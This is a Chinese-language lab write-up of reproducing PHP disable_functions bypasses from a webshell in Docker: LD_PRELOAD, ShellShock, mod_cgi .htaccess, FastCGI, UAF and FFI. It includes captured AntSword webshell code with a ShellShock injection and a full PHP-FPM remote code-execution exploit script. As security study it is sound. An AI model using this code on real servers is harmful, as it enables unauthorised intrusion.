webshell绕过disable_functions

发布于: 2025-03-18 08:31

前言

学习webshell绕过disable_functions中的姿势

复现地址:bypass_disable_functions

00

整个复现过程下来,在windows wsl docker下编译compose文件鸡飞狗跳,各种奇奇怪怪的问题,换到纯linux ubuntu环境一路顺畅....

disable_functions

php.iniphp配置文件中,有一个高级配置项disable_functions,可以禁用高危函数,并且不能通过ini_set函数修改

学习大佬们的骚姿势,绕过限制

高危函数

尝试复现过程,发现禁用了很多函数,蚁剑连接木马后还是可以执行命令

disable_functions = exec, shell_exec, system, passthru, eval, assert, popen

尝试给蚁剑上代理,走8080端口,使用bp抓包,分析蚁剑流量

蚁剑

1

burp

2

抓包

3

格式化一下,分析

function fe($f) {
    $d = explode(",", @ini_get("disable_functions"));
    if (empty($d)) { $d = array(); }
    else { $d = array_map('trim', array_map('strtolower', $d)); }
    return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}

function runcmd($c) {
    $ret = 0;
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);

    if (fe('system')) { @system($c, $ret); }
    elseif (fe('passthru')) { @passthru($c, $ret); }
    elseif (fe('shell_exec')) { print(@shell_exec($c)); }
    elseif (fe('exec')) { @exec($c, $o, $ret); print(join("\n", $o)); }
    elseif (fe('popen')) { $fp = @popen($c, 'r'); while (!@feof($fp)) { print(@fgets($fp, 2048)); } @pclose($fp); }
    elseif (fe('proc_open')) {
        $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while (!@feof($io[1])) { print(@fgets($io[1], 2048)); }
        while (!@feof($io[2])) { print(@fgets($io[2], 2048)); }
        @fclose($io[1]); @fclose($io[2]); @proc_close($p);
    }
    return $ret;
}

可以看到,蚁剑在尝试使用systempassthrushell_execexecpopenproc_open等函数执行命令,只要有一个函数没有被禁用,就可以执行命令

完善disable_functions

disable_functions = exec, shell_exec, system, passthru, eval, assert, proc_open, popen

在全部禁用后,可以看到,蚁剑不能执行命令

4

一个更全面的禁用函数列表

disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

蚁剑插件

在蚁剑插件市场,下载绕过disable_functions插件 5

在webshell管理界面,加载插件

6

在插件界面,可以看到,插件有多种方式绕过disable_functions

7

下面尽可能多的尝试

01 利用Linux环境变量LD_PRELOAD

补充

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库

windows和linux下的动态链接库格式

  • dll = windows 的动态链接库文件 把一些功能函数封装在dll文件中,调用时导入调用即可
  • so = linux 动态链接库文件

LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果,通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库

配置与部署

利用条件:

  • linux系统
  • putenv()函数没有被禁用
  • 可以调用子进程的函数mail()imap_mail()mb_send_mail()error_log()等函数
  • 存在可写目录,可以上传so文件

LD_PRELOAD 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

0

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

利用

使用条件

  • Linux
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • 存在可写的目录, 需要上传 .so 文件

使用蚁剑disable_functions插件,选择LD_PRELOAD模式

蚁剑已经检测到putenverror_log可用

7

开日

8

已经上传了代理php文件,通过这个.antproxy.php文件创建新进程和php-fpm进程通信,不受php.ini限制

创建webshell副本,通过这个antproxy.php文件连接,密码同连接时的密码

9

10

连接后,终端里可以执行命令了,不过没有权限查看flag

11

find命令可以发现存在suid命令

find / -perm -4000 -type f 2>/dev/null

12

原理

  • 上传恶意so文件
  • putenv函数设置LD_PRELOAD环境变量,劫持函数

分析上传的so文件,其中有一句命令

13

/bin/sh php -n -s 127.0.0.1:60199 -t /var/www/html
  • /bin/sh执行php
  • -n不加载php.ini配置文件
  • -s使用php内置web服务器,监听在60199端口
  • -t表示指定目录 /var/www/html

再看一下antproxy.php文件

展示部分代码

9

这个php把请求转发到上面使用php开启的内置web服务器的61780端口,进行处理请求,因此整个流程绕过了php.ini的限制

02 ShellShock

原理

引用Geekby师傅博客

15

关键:PHP 里的某些函数(例如:mail()、imap_mail())能调用 popen 或其他能够派生 bash 子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

我去,精彩。利用可以创建bash子进程的函数,触发破壳漏洞,利用破壳漏洞定义函数执行命令,有意思

配置与部署

php.ini 配置如下

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

ShellShock 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

利用条件:

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • /bin/bash 存在 CVE-2014-6271 漏洞
  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash

AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 可以在虚拟终端直接执行命令

14

可以在上面蚁剑流量分析里找到shellshock的绕过姿势

这里是抓取的一份蚁剑webshell终端执行ls命令的流量

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);

// 绕过 open_basedir 限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/[;|:]/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) continue;
        $tmdir = $item . "/.4ce2376c";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) continue;
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/[\\\\|\/\/]/", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

function asenc($out) {
    return $out;
}

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "5b8e" . "a5cdd";
    echo @asenc($output);
    echo "542ba" . "3c7833";
}

ob_start();
try {
    // 解析 base64 编码的参数
    $p = base64_decode(substr($_POST["c045fb6cb12372"], 2));
    $s = base64_decode(substr($_POST["jbb3acf47e78a1"], 2));
    $envstr = @base64_decode(substr($_POST["c58e587ec1d00d"], 2));

    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";

    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/");
    }

    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }

    $r = "{$p} {$c}";

    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { :; }; {$c} >{$tmp} 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }

    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);

        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    $ret = @runcmd($r . " 2>&1");
    print($ret != 0 ? "ret={$ret}" : "");
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>

其中有关于shellshock的部分,就是说,蚁剑已经默认支持shellshock的绕过姿势,不需要额外的插件来实现,直接终端执行命令即可

    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { :; }; {$c} >{$tmp} 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }

03 Apache Mod CGI

原理

apache通过cgi处理请求,每个请求都会生成一个独立的进程,导致系统资源被大量消耗,如果选择把php作为一个模块apache_mod_php时,PHP 代码在 Apache 进程内执行,不需要额外为每一个请求创建独立的进程,高效提高资源利用率,可以通过php.ini配置php模块。

如果 Apache 服务器启用了 Mod CGI,那么apache服务器可以直接运行 .cgi.sh 脚本,攻击者可以创建一个包含恶意代码的 CGI 脚本,让 Apache 直接执行,调用系统命令,整个过程与php模块无关,不受php.ini限制

配置与部署

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

相比 LD_PRELOAD姿势 多了 putenv

ShellShock 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

使用条件

  • Linux
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

利用

正常连接后,无法执行命令

16

使用蚁剑disable_functions插件,选择Apache Mod CGI模式

可以看到,利用插件前,左侧参数都处于NO状态

17

使用后,左侧参数都处于YES状态,并且可以执行命令了

18

这个插件做了什么?修改了配置文件吗?验证一下

查找最近修改的10个文件并按时间排序

find / -type f -exec ls -lt {} + | head -n 10

19

最近修改的文件有.htaccess文件、shell.ant文件

.htaccess文件把ant结尾文件作为cgi文件处理

Options +ExecCGI
AddHandler cgi-script .ant

shell.ant文件里,是刚刚执行的命令

#!/bin/sh
echo&&cd "/var/www/html";find / -type f -exec ls -lt {} + | head -n 10;echo abc01;pwd;echo 798e305c6

20

04 PHP-FPM 利用 LD_PRELOAD

原理

  • 没有禁用putenv函数,可以使用putenv函数设置LD_PRELOAD环境变量,劫持函数
  • 存在可写目录,可以上传so文件
  • mail()、imap_mail()、mb_send_mail()、error_log()等函数可用,可以调用子进程

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

没有禁用putenv函数

配置与部署

PHP-FPM 利用 LD_PRELOAD 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

使用条件

  • 没有禁用putenv函数,可以使用putenv函数设置LD_PRELOAD环境变量,劫持函数
  • 存在可写目录,可以上传so文件
  • mail()、imap_mail()、mb_send_mail()、error_log()等函数可用,可以调用子进程

检测到putenverror_logfile_put_contents函数可用

25

开日

26

27

05 PHP-FPM

原理

Nginx、FastCGI、PHP-FPM的工作流程

  • 客户端请求:

客户端发送一个 HTTP 请求到 Nginx,例如 http://example.com/index.php

  • Nginx 处理:

Nginx 根据配置文件判断这是一个 PHP 请求,于是将请求通过 FastCGI 协议转发给 PHP-FPM

  • PHP-FPM 处理:

PHP-FPM 接收到请求后,解析 FastCGI 协议,找到对应的 PHP 脚本(如 /var/www/html/index.php),执行该脚本

  • 返回结果:

PHP-FPM 将脚本的执行结果通过 FastCGI 协议返回给 Nginx,Nginx 再将结果返回给客户端。

可以上传一个php文件,伪造一份fastcgi协议封装的请求给php-fpm,php-fpm会解析这个请求,执行php文件

举例,这里是一个伪造的fastcgi协议请求

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'extension_dir = /tmp/evil.so',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

分析这份fastcgi报文的关键点:

  • 要注意SCRIPT_FILENAME字段的php文件一定要存在,因为这份请求是要交给SCRIPT_FILENAME字段的php文件执行的
  • 字段PHP_VALUE可以定义php.ini的配置项,使用php配置文件里的auto_prepend_file配置项搭配php://input伪协议来实现文件包含
  • 字段PHP_ADMIN_VALUE可以设置除disable_functions外的配置项,可以配置extension_dir字段,达到在php启动时劫持动态加载的动态链接库

可以看到正常的php扩展目录

21

在第三点里,可以间接体现出LD_PRELOAD的绕过姿势

配置与部署

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

相比 04 禁用了 putenv 函数

php-fpm 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

使用条件

  • Linux
  • PHP-FPM
  • 存在可写目录,可以上传so文件

正常连接后,无法执行命令

使用蚁剑disable_functions插件,选择fastcgi/PHP-FPM模式

22

23

验证一下插件做了什么,查找最近修改的10个文件并按时间排序

find / -type f -exec ls -lt {} + | head -n 10

上传了恶意so文件,一个php的流量代理php文件,把流量代理到 /bin/sh php开启web服务器的端口

24

事后,再查看phpinfo信息里的extension配置项,没有任何变化,那么说,fastcgi协议伪造只是单次有效,不影响全局模式?够....够隐蔽?

一个php-fpm未授权利用的exp

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

使用方法:

python3 exp.py -c '<?php 要执行的php代码?>' -p 28141 ip 存在的php文件

06 Json Serializer UAF

原理

此漏洞利用 json 序列化程序中的释放后使用漏洞,利用 json 序列化程序中的堆溢出触发,以绕过 disable_functions 和执行系统命令,UAF 一次可能不成功,多次尝试

配置与部署

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

Json Serializer UAF 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

使用条件

  • Linux 操作系统 PHP 版本
  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

看起来要求好像没有那么严格,只需要linux系统以及php版本在7.1左右即可

正常连接后,无法执行命令

使用蚁剑disable_functions插件,选择Json Serializer UAF模式

28

07 PHP7 GC with Certain Destructors UAF

原理

此漏洞利用 PHP GC程序堆溢出来绕过 disable_functions,适用于目前 PHP7 绝大部分版本,UAF 一次可能不成功,多次尝试

配置与部署

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

PHP7 GC with Certain Destructors UAF 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

利用条件

  • Linux 操作系统 PHP 版本
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

适用于绝大多数linux+php7的环境

插件使用PHP_GC_UAF模式直接开日

29

08 利用 FFI 扩展

原理

PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在 PHP 代码中去调用 C 代码,在php命令执行函数被禁用了,可以利用FFI扩展,使用c函数来执行系统命令

配置与部署

php.ini 配置如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

FFI 扩展 复现环境

docker部署

docker compose up -d

在compose文件里,容器会映射到主机的18080端口

利用

利用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true

通过木马执行phpinfo()函数,查看FFI扩展是否开启

开启了FFI扩展

30

蚁剑插件直接开日

使用前,蚁剑为什么没有检测到ffi开启呢?

31

查看最近10分钟修改的文件

find / -type f -exec ls -lt {} + | head -n 10

www-data用户最后一次文件操作是上传了可执行文件,利用ffi扩展,应该可以执行时才修改了蚁剑里ffi扩展的状态显示

32

09 ICONV 利用 GCONV_PATH 环境变量

原理

PHP在执行iconv()函数时实际调用了glibc中一些和iconv相关的函数,其中一个叫iconv_open()的函数会根据GCONV_PATH环境变量找到系统的gconv-modules文件,再根据gconv-modules文件找到对应的.so文件进行链接。然后会调用.so文件中的gconv()和gonv_init()函数。修改GCONV_PATH环境变量指向上传的恶意so文件,使函数加载恶意的动态链接库,然后绕过禁用函数执行命令

